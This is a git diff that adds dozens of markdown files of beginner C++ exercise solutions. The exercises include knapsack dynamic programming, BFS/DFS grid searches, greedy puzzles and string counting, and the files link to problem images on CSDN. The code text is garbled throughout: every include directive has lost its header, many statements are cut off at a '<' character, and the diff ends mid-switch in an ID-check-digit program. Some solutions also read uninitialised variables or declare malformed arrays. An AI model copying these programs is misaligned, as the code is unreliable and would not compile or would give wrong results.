+![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713151703163.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,m; + cin >> n >> m; + + int sum = 0; + for (int i = n;i <= m;i ++){ + if (i % 17 == 0) sum += i; + } + cout << sum << endl; + return 0; +} +``` + diff --git "a/C++\347\201\253\350\275\246\347\232\204\351\227\256\351\242\230.md" "b/C++\347\201\253\350\275\246\347\232\204\351\227\256\351\242\230.md" new file mode 100644 index 0000000..0bd9eda --- /dev/null +++ "b/C++\347\201\253\350\275\246\347\232\204\351\227\256\351\242\230.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/150e0d3fc68c4f3d816655ea7f094470.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int a[20]={0,1,1},b,n,m,x,k; + cin>>b>>n>>m>>x; + if(x==1){ + cout<4) k=(m-(a[n-3]+1)*b)/(a[n-2]-1); + int num=(a[x-1]-1)*k+(a[x-2]+1)*b; + cout< +using namespace std; + +int eat(int n){ + if(n!=10) return 2*(eat(n+1)+1); + else return 1; +} +int main(){ + cout< +using namespace std; +int main(){ + int sum=0,n,count[1001]={}; + cin>>n; + count[n]=1; + int i=n; + while(i>=0){ + count[i-1]=count[i]*2+1; + i--; + } + cout< +using namespace std; +// a=储存力量数据 min_=最小值 dp=最优解 n=n只欧子 +int a[1001],min_=2147483647,dp[1001],n=0,sum=0; +int main(){ + cin>>n; + for(int i=1;i<=n;i++){ + cin>>a[i]; + sum+=a[i]; //求出总力量值 + } + //动态规划 + for(int i=1;i<=n;i++){ + for(int j=sum/2;j>=a[i];j--){ + dp[j]=max(dp[j],dp[j-a[i]]+a[i]); + } + } + //求出两组猴子力量的差 + min_=sum-dp[sum/2]*2; + cout< +using namespace std; +struct p{ + char id[15]; + int age; +} a[110],b[110],c; +void qsort(int left,int right){ + if(left>=right) return; + int i=left,j=right; + p x=a[left]; + while(ix.age) i++; + } + a[i]=x; + qsort(left,i-1); + qsort(i+1,right); + return; +} +int main(){ + int m; + int f=0,s=0; + cin>>m; + for(int i=0;i>c.id>>c.age; + if(c.age>=60) a[f++]=c; + else b[s++]=c; + } + qsort(0,f-1); + for(int i=0;i +using namespace std; +int a[100]; +int func(int x){ + int sum=0; + if(a[x]!=0) return a[x]; + else for(int i=2;i<=x-1;i++) sum=sum+func(i)*func(x-i+1); + return a[x]=sum; +} +int main(){ + int n; + a[2]=1,a[3]=1; + cin>>n; + cout< +using namespace std; + +int main(){ + int x,y; + cin>>x>>y; + cout<<"你刚才输入了:"< +using namespace std; + +int main(){ + char a[10]; + cin.getline(a,10); + cout<<"你刚才输入了:"; + for (int i=0;i<10;i++){ + cout< +using namespace std; + +int main(){ + int a[100][100],b[100][100],n,m; + cin >> n >> m; + + for (int i = 0;i < n;i ++){ + for (int j = 0;j < m;j ++){ + cin >> a[i][j]; + } + } + + for (int i = 0;i < n;i ++){ + for (int j = 0;j < m;j ++){ + cin >> b[i][j]; + } + } + for (int i = 0;i < n;i ++){ + for (int j = 0;j < m;j ++){ + cout << a[i][j] + b[i][j] << " "; + } + cout << endl; + } + return 0; +} +``` +从下一章起,我的代码将变为紧凑的风格。 diff --git "a/C++\347\237\263\345\244\264\345\211\252\345\255\220\345\270\203\351\227\256\351\242\230.md" "b/C++\347\237\263\345\244\264\345\211\252\345\255\220\345\270\203\351\227\256\351\242\230.md" new file mode 100644 index 0000000..62ec198 --- /dev/null +++ "b/C++\347\237\263\345\244\264\345\211\252\345\255\220\345\270\203\351\227\256\351\242\230.md" @@ -0,0 +1,41 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210720144017777.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +由于需要判断各类情况,代码有些复杂,如下: +```cpp +#include +#include +using namespace std; + +int main(){ + int n,x[101],y[101]; + string a,b; + cin>>n; + for(int i=0;i>a>>b; + if(a=="Rock") x[i]=0; + else if(a=="Scissors") x[i]=1; + else if(a=="Paper") x[i]=2; + if(b=="Rock") y[i]=0; + else if(b=="Scissors") y[i]=1; + else if(b=="Paper") y[i]=2; + } + for(int i=0;i +using namespace std; + +int main(){ + int all = 8000,s,m,h; + s = all % 60;; + m = all / 60 % 60; + h = all / 60 / 60; + cout << "8000秒=" << h << "小时" << m << "分钟" << s << "秒" << endl; + return 0; +} +``` + diff --git "a/C++\347\247\273\345\212\250\347\232\204\345\260\217\347\220\203.md" "b/C++\347\247\273\345\212\250\347\232\204\345\260\217\347\220\203.md" new file mode 100644 index 0000000..0ac2c41 --- /dev/null +++ "b/C++\347\247\273\345\212\250\347\232\204\345\260\217\347\220\203.md" @@ -0,0 +1,55 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/70ecd967ef3744058de00111d220dcbf.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +const int N=500001; +int n,a[N]; +int find(int x){ + for(int i=1;i<=n;i++){ + if(a[i]==x) return i; + } + return 0; +} +void left(int x,int y){ + int t=a[x-1]; + for(int i=x;i<=y;i++){ + a[i-1]=a[i]; + } + a[y]=t; +} +void right(int x,int y){ + int t=a[x]; + for(int i=x;i>=y;i--){ + a[i+1]=a[i]; + } + a[y]=t; +} +int main(){ + int m,x,y,p,q; + char type; + cin>>n>>m; + for(int i=1;i<=n;i++){ + a[i]=i; + } + for(int i=1;i<=m;i++){ + cin>>type>>x>>y; + p=find(x); + q=find(y); + if(type=='A'){ + if(q>p) left(p+1,q-1); + else right(p-1,q); + } + else{ + if(q>p) left(p+1,q); + else right(p-1,q+1); + } + } + for(int i=1;i<=n;i++){ + cout< +using namespace std; +struct window{ + int left=0,right=0,top=0,bottom=0; +}w[2]; +int main(){ + int l=0,r=0,t=0,b=0,n=0; + cin>>w[0].left>>w[0].right>>w[0].top>>w[0].bottom; + cin>>w[1].left>>w[1].right>>w[1].top>>w[1].bottom; + l=w[0].left>w[1].left?w[0].left:w[1].left; + r=w[0].rightw[1].top?w[0].top:w[1].top; + b=w[0].bottom +#include +using namespace std; +struct person{ + char name[10001]; + int time; +}p[101]; +int islong(person a,person b){ + return a.time>n>>k; + for(int i=0;i>p[i].name>>p[i].time; + sort(p,p+n,islong); + for(int i=1;i<=n;i++) if(i==k) cout< +#include +using namespace std; + +int main(){ + char a[100001]; + cin.getline(a,100001); + int b[26]; + for(int i=0;i +#include +using namespace std; +int add(int a, int b){ + return a+b; +} +int sub(int a, int b){ + return a-b; +} +int mul(int a, int b){ + return a*b; +} +double div(int a, int b){ + return a*1.0/b; +} +int surplus(int a,int b){ + return a%b; +} + +int main(){ + int m,n; + char x; + double c; + cin>>m>>x>>n; + if(x=='+') c=add(m,n); + if(x=='-') c=sub(m,n); + if(x=='*') c=mul(m,n); + if(x=='/') c=div(m,n); + if(x=='%') c=surplus(m,n); + cout << fixed << setprecision(2) << c << endl; + return 0; +} +``` + diff --git "a/C++\347\264\257\345\212\240\346\261\202\345\222\214.md" "b/C++\347\264\257\345\212\240\346\261\202\345\222\214.md" new file mode 100644 index 0000000..1d44b7a --- /dev/null +++ "b/C++\347\264\257\345\212\240\346\261\202\345\222\214.md" @@ -0,0 +1,18 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/01913e182bb749668a95eae44b56e9c4.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; +int add(int x){ + if(not x>=1) return 0; + x--; + return (x+1)+add(x); +} +int main(){ + int n; + cin>>n; + cout< +using namespace std; +int main(){ + int n,a[100]={0},m=2; + cin>>n; + a[1]=1; + for(int i=2;i<=n;i++){ + a[i]=a[i-1]+m; + m*=2; + } + cout< +using namespace std; +struct node{ + int x,y; +} que[2501]; +int map[51][ +1],head=1,tail=1,book[51][51],sum=0; +int next[4][2]={{0,1},{1,0},{0,-1},{-1,0}},m,n,x,y,tx,ty; +//广搜函数 +void bfs(int x,int y){ + sum++; + map[x][y]=0; + que[tail].x=x; + que[tail].y=y; + book[x][y]=1; + tail++; + while(head=m||ty<0||ty>=n){ + continue; + } + if(map[tx][ty]>0&&book[tx][ty]==0){ + map[tx][ty]=0; + book[tx][ty]=1; + que[tail].x=tx; + que[tail].y=ty; + tail++; + } + } + head++; + } +} +int main(){ + cin>>m>>n; + for(int i=0;i>map[i][j]; + } + } + for(int i=0;i + +我回家了。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/47081b6fb5d94c46ae93c2e45d2cc589.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +还是本地的`dev-cpp`好用点, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2eb40412421d44d29ae12316401cf94a.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + diff --git "a/C++\347\273\217\345\205\270\347\232\204\347\224\273\345\233\276\351\242\230\342\200\224\342\200\224\345\257\271\347\247\260\344\270\211\350\247\222.md" "b/C++\347\273\217\345\205\270\347\232\204\347\224\273\345\233\276\351\242\230\342\200\224\342\200\224\345\257\271\347\247\260\344\270\211\350\247\222.md" new file mode 100644 index 0000000..05811f0 --- /dev/null +++ "b/C++\347\273\217\345\205\270\347\232\204\347\224\273\345\233\276\351\242\230\342\200\224\342\200\224\345\257\271\347\247\260\344\270\211\350\247\222.md" @@ -0,0 +1,49 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/911c7e2557e54a6d9a9ac700551a6790.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_17,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + for(int i=5;i>=1;i--){ + for(int j=i;j>=1;j--){ + cout<<"*"; + } + cout< +using namespace std; +int main() +{ + for(int i=5; i>=1; i--) { + for(int j=i; j>=1; j--) { + cout<<"*"; + } + cout< +using namespace std; +int main(){ + for(double y=1.5;y>-1.5;y-=0.1){ + for(double x=-1.5;x<1.5;x+=0.05){ + double a=x*x+y*y-1; + char b=(a*a*a-x*x*y*y*y<=0.0?'*':'\0'); + cout< +#include +using namespace std; + +int main(){ + char a[1001]; + int b=0,s=0,n=0,o=0; + cin.getline(a,1001); + + for(int i=0;i='a'&&a[i]<='z') s++; + else if(a[i]>='A'&&a[i]<='Z') b++; + else if(a[i]>='0'&&a[i]<='9') n++; + else o++; + } + cout< +using namespace std; + +int main(){ + char a[256]; + int n,m; + cin>>n; + for (int i=0;i>a[i]; + } + for (int i=0;i='0'&&a[i]<='9'){ + m++; + } + } + cout< + +`f[i][j]`:**当前物品的最大价值.** +`max()`:求最大值. +`f[i-1][j]`:**没有放入第`i`件物品的最大价值.** +`f[i-1][j-w(i)]+c(i)`:**放入第`i`件物品的最大价值.** + +综上,比较放入和不放入时物品的最大价值,放入时减少背包容量(`[j-w(i)]`),增加总价值(`+c(i)`)。 + +更形象的理解: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/b9d114bdf1ca4f18bf2cdf593dc49e6f.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/9ec48085cce94038a68fadd937de4e7c.png) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5147f0d0000049dcb0c8b98c4db5b867.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/981dd8e081954aa7b92188efdcb740a1.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_14,color_FFFFFF,t_70,g_se,x_16) +所以,原来背包的可容纳重量会减少。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/19e00f7d098d456ca621198b485ee828.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_13,color_FFFFFF,t_70,g_se,x_16) +
+ +```cpp +// Author:PanDaoxi +#include +using namespace std; +// w=重量 c=价值 f=最优解 +int w[101],c[101],f[101][101]; +int m,n; // m=背包可承受的最大重量 n=可以预估的物品重量及价值 +int main(){ + cin>>m>>n; + //存入n件物品的重量及价值 + for(int i=1;i<=n;i++) cin>>w[i]>>c[i]; + //动态规划 + for(int i=1;i<=n;i++){ // n件物品 + for(int j=1;j<=m;j++){ //最大承受量 + //判断当前物品是否可以放入到背包中 + if(j>=w[i]) f[i][j]=max(f[i-1][j],f[i-1][j-w[i]]+c[i]); //哪个价值大,我们要哪个 + else f[i][j]=f[i-1][j]; //否则就不放了 + } + } + cout< + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/4c0badec00404712aef3cf06e7ff5909.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int w[101],c[101],f[101],m,n; +int main(){ + cin>>m>>n; + for(int i=1;i<=n;i++) cin>>w[i]>>c[i]; + //动态规划:一维数组 + for(int i=1;i<=n;i++){ + for(int j=m;j>=0;j--){ //大包不能放入小包 + if(j>=w[i]) f[j]=max(f[j],f[j-w[i]]+c[i]); + } + } + cout< +using namespace std; +int calc(int n,int k){ + if(k==0||n>n>>k; + cout< +using namespace std; +int main(){ + int start,end,a[1001]={0,1,2}; + cin>>start>>end; + for(int i=3;i<=end-start;i++){ + a[i]=a[i-1]+a[i-2]; + } + cout< +using namespace std; +const int N=1000000; +int a,n,q[N]; +void blash(int a,int n){ + q[1]=a; + int rear=1,front1=1,front2=1; + while(rear<=n){ + long long x=2*q[front1]+1; + long long y=3*q[front2]+1; + if(xy){ + q[++rear]=y; + front2++; + } + else{ + q[++rear]=x; + front1++; + front2++; + } + } + } + cout<>a>>n){ + blash(a,n); + } + return 0; +} +``` + diff --git "a/C++\350\247\243\345\206\263\346\216\222\351\230\237\351\227\256\351\242\230.md" "b/C++\350\247\243\345\206\263\346\216\222\351\230\237\351\227\256\351\242\230.md" new file mode 100644 index 0000000..c9c2f75 --- /dev/null +++ "b/C++\350\247\243\345\206\263\346\216\222\351\230\237\351\227\256\351\242\230.md" @@ -0,0 +1,23 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210714145126858.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,i,state[51]; + cin >> n; + for (i = 1;i <= n;i ++){ + state[i] = 1; + } + for (i = 1;i <= n;i ++){ + if (i % 2 == 0) state[i] = 1 - state[i]; + if (i % 5 == 0 && state[i] == 1) state[i] = 1 - state[i]; + } + for (i = 1;i <= n;i ++){ + if (state[i] == 1) cout << i << " "; + } + return 0; +} +``` + diff --git "a/C++\350\247\243\345\206\263\350\241\200\345\216\213\351\227\256\351\242\230.md" "b/C++\350\247\243\345\206\263\350\241\200\345\216\213\351\227\256\351\242\230.md" new file mode 100644 index 0000000..468f032 --- /dev/null +++ "b/C++\350\247\243\345\206\263\350\241\200\345\216\213\351\227\256\351\242\230.md" @@ -0,0 +1,26 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210713154742225.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +```cpp +#include +using namespace std; + +int main(){ + int n,a,b,c,d; + cin >> n; + + for (int i = 1;i <= n;i ++){ + cin >> a >> b; + if (90 <= a && a <= 140 && 60 <= b && b <= 90) { + c ++; + } + else { + d = c; + c = 0; + } + } + if (d > c) cout << d << endl; + else cout << c << endl; + return 0; +} +``` + diff --git "a/C++\350\247\243\345\206\263\351\207\221\345\270\201\351\227\256\351\242\230.md" "b/C++\350\247\243\345\206\263\351\207\221\345\270\201\351\227\256\351\242\230.md" new file mode 100644 index 0000000..4e7368c --- /dev/null +++ "b/C++\350\247\243\345\206\263\351\207\221\345\270\201\351\227\256\351\242\230.md" @@ -0,0 +1,25 @@ +题目: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2021070919242468.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +程序: + +```cpp +//Author:PanDaoxi (File 3) +#include +using namespace std; + +int main(){ + int day; + cin >> day; + + int money,n = 0; + while (day > 0){ + n ++; + day -= n; + money += n * n; + } + money += day * n; + cout << money << endl; + return 0; +} +``` + diff --git "a/C++\350\247\243\345\257\206\346\225\260\345\255\227.md" "b/C++\350\247\243\345\257\206\346\225\260\345\255\227.md" new file mode 100644 index 0000000..3c30aa8 --- /dev/null +++ "b/C++\350\247\243\345\257\206\346\225\260\345\255\227.md" @@ -0,0 +1,21 @@ +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/055786187c524c29b3ed8f09a0b0bcb5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +#include +using namespace std; +int main(){ + char a[101]; + int front=0,rear=0; + cin>>a; + rear=strlen(a); + while(front +using namespace std; + +int main(){ + int n,m,a,ans = 0; + cin >> n >> m; + while (n --){ + cin >> a; + if (a == m) { + ans ++; + } + } + cout << ans << endl; + return 0; +} +``` + diff --git "a/C++\350\256\241\347\256\227\344\270\244\344\270\252\346\225\260\347\232\204\346\234\200\345\244\247\345\205\254\345\233\240\346\225\260\345\222\214\346\234\200\345\260\217\345\205\254\345\200\215\346\225\260.md" "b/C++\350\256\241\347\256\227\344\270\244\344\270\252\346\225\260\347\232\204\346\234\200\345\244\247\345\205\254\345\233\240\346\225\260\345\222\214\346\234\200\345\260\217\345\205\254\345\200\215\346\225\260.md" new file mode 100644 index 0000000..b2833f9 --- /dev/null +++ "b/C++\350\256\241\347\256\227\344\270\244\344\270\252\346\225\260\347\232\204\346\234\200\345\244\247\345\205\254\345\233\240\346\225\260\345\222\214\346\234\200\345\260\217\345\205\254\345\200\215\346\225\260.md" @@ -0,0 +1,51 @@ +```cpp +//Author:PanDaoxi +#include +using namespace std; +int mcf(int x,int y){ //最大公因数 + int maxn,a[10001],k=0,big=(x>y?x:y); + for(int i=1;i<=big;i++){ + if(x%i==0&&y%i==0) a[k++]=i; + } + maxn=a[0]; + for(int i=0;iy?x:y); + if(coprime(x,y)) return x*y; + int c=x,d=y; + n=mcf(c,d); + while(coprime(c,d)==false&&n!=1){ + n=mcf(c,d); + c/=n; + d/=n; + b[k++]=n; + } + sum=c*d; + for(int i=0;i>a>>b; + int x=mcf(a,b); + int y=lcm(a,b,x); + cout<<"最大公因数:"< +#include +using namespace std; + +int main() { + double s = 0,arr[10] = {28.9,32.7,45.6,78,35,86.2,27.8,43,56,65}; + int n = 0; + for (int i = 0;i < 10;i ++) { + cin >> n; + arr[i] *= n; + } + for (int i = 0;i < 10;i ++) { + s += arr[i]; + } + cout << fixed << setprecision(1) << s << endl; + + return 0; +} +``` + diff --git "a/C++\350\256\241\347\256\227\346\234\200\347\237\255\347\232\204\350\267\257\347\272\277\346\211\200\347\224\250\346\227\266\351\227\264.md" "b/C++\350\256\241\347\256\227\346\234\200\347\237\255\347\232\204\350\267\257\347\272\277\346\211\200\347\224\250\346\227\266\351\227\264.md" new file mode 100644 index 0000000..31d4d2d --- /dev/null +++ "b/C++\350\256\241\347\256\227\346\234\200\347\237\255\347\232\204\350\267\257\347\272\277\346\211\200\347\224\250\346\227\266\351\227\264.md" @@ -0,0 +1,55 @@ +题目中输入的`4*4`的数组表示走过这个点所用的时间,求最短时间。 +![](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/769529c0e3c7487c9acf733ebe9625a2.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1e9e0698849544ccba6c61756fd61272.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +```cpp +//Author:PanDaoxi +#include +using namespace std; +//a=地图 +//n,m=地图的宽和高 +//mins,maxs=最短时间 +int a[101][101],book[101][101],n,m,mins=100000,maxs=0; +//sx,sy=起点坐标 +//ex,ey=终点坐标 +int sx,sy,ex,ey; +//搜索:上右下左 +int f[4][2]={{-1,0},{0,1},{1,0},{0,-1}}; +//深搜函数 +void dfs(int x,int y){ + //假如到终点 + if(x==ex&&y==ey){ + mins=(maxs=1&&nx<=n&&ny>=1&&ny<=m&&book[nx][ny]==0){ + book[nx][ny]=1; + maxs+=a[nx][ny]; //累加时间 + dfs(nx,ny); //递归 + //回溯 + book[nx][ny]=0; + maxs-=a[nx][ny]; + } + } +} +int main(){ + cin>>n>>m; + cin>>sx>>sy>>ex>>ey; + for(int i=1;i<=n;i++){ + for(int j=1;j<=m;j++){ + cin>>a[i][j]; + } + } + book[sx][sy]=1; + maxs=a[sx][sy]; + dfs(sx,sy); + cout< +using namespace std; + +int main(){ + // 因为使用do while循环所以人数要改成-1,while循环就是0 + double sum,men = -1,score; + do { + cin >> score; + sum += score; + men ++; + } while (score != 0); + double avg = (sum / men); + cout << avg << endl; + return 0; +} +``` + diff --git "a/C++\350\256\241\347\256\227\346\237\220\344\270\252\346\225\260\347\232\204\346\211\200\346\234\211\345\233\240\346\225\260.md" "b/C++\350\256\241\347\256\227\346\237\220\344\270\252\346\225\260\347\232\204\346\211\200\346\234\211\345\233\240\346\225\260.md" new file mode 100644 index 0000000..eb22bcf --- /dev/null +++ "b/C++\350\256\241\347\256\227\346\237\220\344\270\252\346\225\260\347\232\204\346\211\200\346\234\211\345\233\240\346\225\260.md" @@ -0,0 +1,18 @@ +```cpp +//Author:PanDaoxi +#include +using namespace std; +int main(){ + int n; + cin>>n; + if(n<=0) cout<<"-1"< +using namespace std; + +int main(){ + double ten,h,sum; + cin >> h; + sum += h; + + int n = 10; + while (n - 1 > 0){ + sum += h; + h /= 2; + n --; + } + ten = h; + cout << sum << endl; + cout << ten << endl; + return 0; +} +``` + diff --git "a/C++\350\256\241\347\256\227\347\237\255\344\277\241\350\265\204\350\264\271.md" "b/C++\350\256\241\347\256\227\347\237\255\344\277\241\350\265\204\350\264\271.md" new file mode 100644 index 0000000..caeeeed --- /dev/null +++ "b/C++\350\256\241\347\256\227\347\237\255\344\277\241\350\265\204\350\264\271.md" @@ -0,0 +1,53 @@ +> 【题目描述】 +用手机发短信,一条短信资费为0.1元,但限定一条短信的内容在70个字以内(包括70个字)。如果你一次所发送的短信超过了70个字,则会按照每70个字一条短信的限制把它分割成多条短信发送。假设已经知道你当月所发送的短信的字数,试统计一下你当月短信的总资费。 +【输入】 +第一行是整数n,表示当月发送短信的总次数,接着n行每行一个整数,表示每次短信的字数。 +【输出】 +输出一行,当月短信总资费,单位为元,精确到小数点后1位。 +【输入样例】 +10 +39 +49 +42 +61 +44 +147 +42 +72 +35 +46 +【输出样例】 +1.3 + +```cpp +#include +using namespace std; + +int strip(int letter){ + int n=0; + if(letter>70){ + for(int i=0;i>n; + int a[n]; + for(int i=0;i>a[i]; + money+=strip(a[i])*0.1; + } + cout< +using namespace std;int strip(int letter){int n=0;if(letter>70){for(int i=0;i>n;int a[n];for(int i=0;i>a[i];money+=strip(a[i])*0.1;}cout< +using namespace std; +int main(){ + double a[51]={0.0}; + int n; + cin>>n; + for(int i=n;i>0;i--) a[i-1]=(a[i]+1000)/(1+0.0031*12); + cout< +#include +using namespace std; + +int main(){ + freopen("in.txt","r",stdin); //设置输入为读取文件 + freopen("out.txt","w",stdout); //设置输出为写入文件 + int temp=0,sum=0; + while(cin>>temp) sum+=temp; //读取文件并计算和 + cout< +using namespace std; +struct student{ + int number; + double score; +} stu[101]; +int main(){ + int n,k,a[101]; + cin>>n>>k; + for(int i=0;i>stu[i].number>>stu[i].score; + } + for(int i=n-1;i>=1;i--){ + for(int j=0;ja[j+1]){ + swap(a[j],a[j+1]); + } + } + } + cout< +#include +using namespace std; +int a1,a2,a3,a4,a5,a6,sum=0; +int main(){ + cin>>a1>>a2>>a3>>a4>>a5>>a6; + sum=a4+a5+a6; + sum+=ceil(a3/4.0); //向上取整 + a3%=4; //得到多余a3商品 + a1-=min(a1,a5*11); //a5商品:用a1填空 + if(a2 +#include +using namespace std; +int w[1001]; +int main(){ + int c,n; //c=袋子最大承重量 n=苹果数量 + cin>>c>>n; + for(int i=0;i>w[i]; + sort(w,w+n); + int temp=0,ans=0; + for(int i=0;i +#include +using namespace std; +struct gudong{ + string name; + double weight; +}; +bool cmp(gudong a,gudong b){ //排序用的比较函数 + return a.weight>c>>n; + for(int i=0;i>w1[i].name>>w1[i].weight; + } + sort(w1+0,w1+n,cmp); + int sum=0,count=0; + for(int i=0;i +using namespace std; +int main(){ + int n,a[101],s=0; //n=堆数 a=储存苹果重量 s记录苹果总重量 + cin>>n; + for(int i=1;i<=n;i++){ + cin>>a[i]; + s+=a[i]; + } + //求出平均每堆的重量 + s/=n; + int t=0; //移动次数 + for(int i=1;i +using namespace std; +int main(){ + //n=苹果数量 m=袋子最大承重 ans=袋子数量 s=每袋所装数量 + int n,m,x,s=0,ans=0; + cin>>n>>m; + for(int i=1;i<=n;i++){ + cin>>x; + if(s+x<=m) s+=x; //可以装入 + else{ + ans++; + s=x; + } + } + cout< +#include +using namespace std; +struct meeting{ + int st,en; +} a[10001]; +bool cmp(meeting a,meeting b){ + return a.en>n; + for(int i=1;i<=n;i++) cin>>a[i].st>>a[i].en; + //按结束时间排序 + sort(a+1,a+n+1,cmp); + int sum=1; + int last=a[1].en; + for(int i=1;i<=n;i++){ + if(a[i].st>last){ + sum++; + last=a[i].en; //更新 + } + } + cout< +using namespace std; +int main(){ + int n,m,sum=0; + cin>>n; + m=n; + while(m>0){ + if(m>=20){ + m-=20; + sum++; + } + else if(m>=10){ + m-=10; + sum++; + } + else if(m>=5){ + m-=5; + sum++; + } + else{ + sum+=m; + m=0; + } + } + cout< +using namespace std; +int main(){ + int m[5]={20,10,5,1},n,count=0; + cin>>n; + for(int i=0;i<4;i++){ + while(n>=m[i]){ + n-=m[i]; + count++; + } + } + cout< +using namespace std; +int main(){ + int n,m,a[21],sum=0; + cin>>n>>m; + for(int i=0;i>a[i]; + for(int i=0;i=a[i]){ + n-=a[i]; + sum++; + } + } + cout< +using namespace std; +int main(){ + char b[18],c; + int a[18],s=0,ans; + cin>>b; + for(int i=0;i<18;i++){ + switch(b[i]){ + case '1': + a[i]=1; + break; + case '2': + a[i]=2; + break; + case '3': + a[i]=3; + break; + case '4': + a[i]=4; + break; + case '5': + a[i]=5; + break; + case '6': + a[i]=6; + break; + case '7': + a[i]=7; + break; + case '8': + a[i]=8; + break; + case '9': + a[i]=9; + break; + case '0': + a[i]=0; + break; + } + } + a[0]*=7, + a[1]*=9, + a[2]*=10, + a[3]*=5, + a[4]*=8, + a[5]*=4, + a[6]*=2, + a[7]*=1, + a[8]*=6, + a[9]*=3, + a[10]*=7, + a[11]*=9, + a[12]*=10, + a[13]*=5, + a[14]*=8, + a[15]*=4, + a[16]*=2; + for(int i=0;i<17;i++){ + s+=a[i]; + } + ans=s%11; + switch(ans){ + case 0: + 